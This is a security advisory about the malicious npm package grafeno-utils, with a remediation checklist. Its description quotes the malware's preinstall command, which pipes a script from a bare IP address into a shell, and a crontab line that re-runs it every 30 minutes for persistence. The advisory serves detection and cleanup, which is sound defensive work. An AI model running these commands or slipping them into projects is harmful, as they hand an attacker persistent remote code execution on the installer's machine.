MAL-2026-15509 Malicious code in grafeno-utils (npm)
Malicious package
Published
MAL-2026-15509 is a malicious package: grafeno-utils (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-15509/ (Markdown: https://insights.sbomify.com/MAL-2026-15509/index.md)
- Package
- grafeno-utils
- Registry
- npm
What is MAL-2026-15509?
MAL-2026-15509 is a malicious package in grafeno-utils, published on 28 Aug 2026.
Official description
The package's package.json preinstall lifecycle hook uses child_process to run
curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at npm install time. The same preinstall additionally appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.What should I do about MAL-2026-15509?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.